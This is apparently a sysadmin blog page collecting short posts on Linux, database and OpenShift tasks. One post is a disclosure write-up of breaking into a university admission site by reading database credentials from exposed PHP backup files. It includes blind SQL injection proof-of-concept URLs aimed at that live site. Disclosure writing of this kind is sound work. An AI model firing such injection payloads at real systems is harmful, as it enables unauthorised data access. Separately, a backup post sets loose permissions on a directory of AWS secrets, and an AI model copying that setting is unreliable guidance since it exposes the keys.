Skype on Ubuntu 15.04 64 bit and AMD graphics card

This post solves particular use case with skype not working on Ubuntu 15.04 with AMD as the graphics card. I was having problem with skype not opening and I quickly figured out that there was some issue with finding shared object file.

So, first make sure you have fglrx installed. You might see errors such as below:

skype: error while loading shared libraries: libGL.so.1: cannot open shared object file: No such file or directory

The fix is simple. You must be able to search for the file that's being complained about

$ find /usr/ -name "libGL.so.1"

Based on the output, just do something like below:-

$ LD_PRELOAD=/usr/lib32/fglrx/libGL.so.1 skype

And, there you go. Skype launches without complaining anything. If you receive complains about similar shared object files, make sure to install appropriate packages and then specify via LD_PRELOAD. To make permanent and be able to open via just click on Skype icon, you can create a symbolic link:

ln -sf /usr/lib32/fglrx/libGL.so.1 /usr/lib/libGL.so.1

Read more...

Uppercase and Lowercase Conversion - Bash Style

After a long long time, I am back with this short post to convert case of strings in bash. While you might have been using tr (Like I did for a while) for this purpose, bash 4 has a built-in way for the case conversion. Withour further ado, here is a session

$ x="samar"

$ echo "${x^}"
Samar

$ echo "${x^^}"
SAMAR

$ y="${x^^}"

$ echo $y
SAMAR

$ echo "${y,}"
sAMAR

$ echo "${y,,}"
samar

I hope this helps ;)


Read more...

Hacking KU Admission Web Application

This post is a write-up of my attempt to keep local scene safe and secure and make institutions, programmers and digital users aware about security.

Today, at 1:00 PM, I got a call from a very talented NJ Subedi who told me that some guy told him that the guy could change all his scores and would be able to get him admitted to Kathmandu University even without appearing on the exam. WTH! I told myself. I was working on one of my projects so at first, I did not think of trying to attack the admission app. But, I could not resist my curiosity and soon began some basic recon.

My findings:-

Server: Ubuntu 12.04
OpenSSH 5.9p1
Apache httpd 2.2.22
MariaDB (possibly 5.5.37)


I started smelling bad things when I found that MariaDB port 3306 was open to the world and anybody could access the database server given the credentials.

I knew of an authentication bypass bug in MySQL/MariaDB. But, it was for older versions of database server so after a quick test, I ruled out this exploit.

SSH port was also open to the world and SSH bruteforcing is still common. I don't know if a weak password has been chosen for one of the accounts in the system but I ruled out this possibility believing that there had to be something else: some kind of coding flaw or deployment issue.

Then, I started looking at the source code of common.js file. I could immediately sense that the directory browsing has been enabled so I could list files in a directory without an index file. Looking at the pattern of javascript backup file, I could access backup copies of PHP files as well which revealed critical database credentials. BOOOOM!!! The MariaDB service is open to the world and I now have database credentials of the apply.ku.edu.np/cbt web application. It turned out easier than expected

I then switched to the terminal and got access to the MariaDB server. Within half an hour, I was already in the database. As a proof, I've attached 'show tables' output. No further queries were executed.

Remedies:-

• Remove all backup copies of PHP files
• Filter port 3306 and 22 for limited trusted IPs only (Though I didn't bruteforce MariaDB or SSHD, it can also be an issue).
• Check if any users have been added to linux system and mariadb mysql.user list and revoke necessary accesses
• Change mariadb users and passwords
• Disable remote access to MariaDB

Timeline:-

1:10 PM - started looking into the issue
1:35 PM - got access to the system
2:00 PM - notified concerned people
3:30 PM - bugs resolved
4:00 PM - Vulnerability disclosed


That was quickly fixed. Wish all the applicants good luck.

Updates:- Later, I found a blind SQL injection flaw and a possible vulnerability that would allow to send reset e-mail to all the applicants (I did not test the later one but can still see the possibility of existence of this flaw.)

The blind SQL injection flaw was in ajaxCallFile.php which checks for valid e-mail during password reset process. Its non-trivial but still possible to use this flaw to attack the web application. Below are few PoC URLs:

http://apply.ku.edu.np/admission/ajaxCallFile.php?&emailID=%27%20or%201=%271%27;%20--+&entryMode=checkEmail (A seemingly invalid e-mail address but SQL contextual emailID generates a valid result

http://apply.ku.edu.np/admission/ajaxCallFile.php?&emailID=%27%20or%201=%271%27%20+AND+1=1;%20--+&entryMode=checkEmail (I'm using AND 1 = 1 which is always true here)

http://apply.ku.edu.np/admission/ajaxCallFile.php?&emailID=%27%20or%201=%271%27%20+AND+1=2;%20--+&entryMode=checkEmail (I'm using AND 1=2 this time)

http://apply.ku.edu.np/admission/ajaxCallFile.php?&emailID=%27%20or%201=%271%27%20+AND+5=substr%28@@VERSION,1,1%29;%20--+&entryMode=checkEmail (Here, I find the major version of database is 5.x)

http://apply.ku.edu.np/admission/ajaxCallFile.php?&emailID=%27%20or%201=%271%27%20+AND+%27snipped_for_security%27=substr%28user%28%29,1,3%29;%20--+&entryMode=checkEmail (Here, I can see that first three characters of current db user are 'snipped_for_security')

It was also quickly fixed. Thanks for working hard on keeping applicants safe.


Read more...

Postgresql Backup To Amazon S3 On OpenShift Origin

To move forward, you need to backup. Backing up your production data is critical and with Postgresql, you can backup WAL (Write Ahead Log) archives and this post gives you steps to accomplish for backing up postgresql WALs to Amazon S3 on your OpenShift Origin using WAL-E.

WAL-E is a great tool that simplifies backup of postgresql by performing continuous archiving of PostgreSQL WAL files and base backups. Enough blabbering, you can reach out technical docs on how WAL works. I'll just mention series of commands and steps necessary for sending WAL archives to AWS S3 bucket.

On the node containing application with postgresql cartridge, run the following commands:

$ yum install python-pip lzop pv
$ rpm -Uvh ftp://ftp.pbone.net/mirror/ftp5.gwdg.de/pub/opensuse/repositories/home:/p_conrad:/branches/Fedora_19/x86_64/daemontools-0.76-3.1.x86_64.rpm
$ pip install wal-e
$ umask u=rwx,g=rx,o=
$ mkdir -p /etc/wal-e.d/env
$ echo "secret-key-content" > /etc/wal-e.d/env/AWS_SECRET_ACCESS_KEY
$ echo "access-key" > /etc/wal-e.d/env/AWS_ACCESS_KEY_ID
$ echo 's3://backup/production/pgsql' > \
  /etc/wal-e.d/env/WALE_S3_PREFIX
$ chmod -R 765 /etc/wal-e.d/

Then, edit the postgresql configuration file so as to turn on wal archiving. You need to find the right container for your postgresql in /var/lib/openshift (Its quite trivial if you know OpenShift basics).

$ vi YOUR_OO_CONTAINER/postgresql/data/postgresql.conf wal_level = archive # hot_standby in 9.0 is also acceptable
archive_mode = on
archive_command = 'envdir /etc/wal-e.d/env wal-e wal-push %p'
archive_timeout = 60

Finally, you need to ensure that you are taking base backups periodically which can be achieved by utilizing cron cartridge. Clone the repo, add the following file and push to the application.

$ vi .openshift/cron/daily/postgres-backup
#!/bin/bash

if [ $OPENSHIFT_POSTGRESQL_DIR ]; then
        /usr/bin/envdir /etc/wal-e.d/env /bin/wal-e backup-push ${OPENSHIFT_POSTGRESQL_DIR}data
fi

$ git add .openshift/cron/daily/postgres-backup
$ git commit -m "Added pg cron script"
$ git push origin master

Make sure you use the OPENSHIFT_POSTGRESQL_DIR env-var or some other env-var that does not have two forward slashes adjacently since WAL-E hates it.

This should help you keep your data backed up regularly and you can enjoy beers.


Read more...

Setting Up JVM Heap Size In JBoss OpenShift Origin

Openshift is an awesome technology and have fell in love with it recently. In this post, I will talk about how we can set JVM Heap Size for your application using Jboss cartridge.

If you look into the content of the standalone.conf located at $OPENSHIFT_JBOSSEAP_DIR/bin, you can see that JVM_HEAP_RATIO is set to 0.5 if it is not already set.

if [ -z "$JVM_HEAP_RATIO" ]; then
        JVM_HEAP_RATIO=0.5

And, later this ratio is used to calculate the max_heap so as to inject the maximum heap size in jboss java process. You can see how gear memory size is used to calculate the value of heap size. This is the very reason why the default installation allocates half of total gear memory size.

max_memory_mb=${OPENSHIFT_GEAR_MEMORY_MB}
max_heap=$( echo "$max_memory_mb * $JVM_HEAP_RATIO" | bc | awk '{print int($1+0.5)}')

OpenShift keeps its number of environment variables inside /var/lib/openshift/OPENSHIFT_GEAR_UUID/.env so what I did was SSH to my OO node and run the command below (you should replace your gear's UUID):

$ echo -n 0.7 > /var/lib/openshift/52e8d31bfa7c355caf000039/.env/JVM_HEAP_RATIO

Alternatively, rhc set-env JVM_HEAP_RATIO=0.7 -a appName should also work but I have not tried it.


Read more...

Patching Your OpenShift Origin Against Heartbleed vulnerability

Recently the heartbleed bug was exposed which existed in all the services that used OpenSSL 1.0.1 through 1.0.1f (inclusive) for years already. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet by reading the memory of the system without need of any kind of access.

I've been administering OpenShift applications recently and this post outlines the measures I took to secure the OpenShift applications from this critical vulnerability.

In order to check if you are vulnerable or not, you can either check OpenSSL version:

# openssl version -a
OpenSSL 1.0.1e-fips 11 Feb 2013
built on: Wed Jan 8 07:20:55 UTC 2014
platform: linux-x86_64

Alternatively, you can use one of the online tools or the offline python tool to check if you are vulnerable or not.

Note that in case of OpenShift origin, you will have to update the OpenSSL package in brokers and nodes such that all the OpenShift apps are secure.

# yum install -y openssl

Once completed, verify the installation of patched version:

# openssl version -a
OpenSSL 1.0.1e-fips 11 Feb 2013
built on: Tue Apr 8 00:29:11 UTC 2014
platform: linux-x86_64

# rpm -q --changelog openssl | grep CVE-2014-0160
- pull in upstream patch for CVE-2014-0160

We'll have to restart the proxy systems (node-proxy) for the nodes for the effect of the patch. In fact, we will have to restart all the services that use the vulnerable OpenSSL versions.

# systemctl restart openshift-node-web-proxy.service

# /bin/systemctl reload httpd.service

I hope this helps :)


Read more...

MyISAM to InnoDB Engine Conversion

We are doing lots of MyISAM to InnoDB migrations in our production environment and since the engine conversion needs to be done for each table, its good to generate a script to do so when you have huge number of databases each having several tables. Here is the quick script to generate script for MyISAM to InnoDB engine conversion.

mysql -u <user> -p -e "SELECT concat('ALTER TABLE \`',TABLE_SCHEMA,'\`.\`',TABLE_NAME,'\` ENGINE=InnoDB;') FROM Information_schema.TABLES WHERE TABLE_SCHEMA in ('database1', 'database2', 'databaseN') AND ENGINE = 'MyISAM' AND TABLE_TYPE='BASE TABLE'" | tail -n+2 > alter.sql

Once the SQL script is generated, all you need to do is run the sql file to your database server.

$ mysql -u <user> -p < alter.sql

Note that while InnoDB is generally the better engine than MyISAM and MySQL has InnoDB as default engine since 5.5, MyISAM has its own benefits and you should make performance analysis in preferably a test environment while converting the engine type.


Read more...

Install HTTrack On CentOS

Since I could not find the rpm in the repo, here is the quick How To to install HTTrack website copier on CentOS.

$ yum install zlib-devel
$ wget http://download.httrack.com/cserv.php3?File=httrack.tar.gz -O httrack.tar.gz
$ tar xvfz httrack.tar.gz
$ cd httrack-3.47.27
$ ./configure
$ make && sudo make install

This should do all. If you wish not to install zlib compression support, you can skip the first step and run the configure as ./configure --without-zlib. I hope this helps :)


Read more...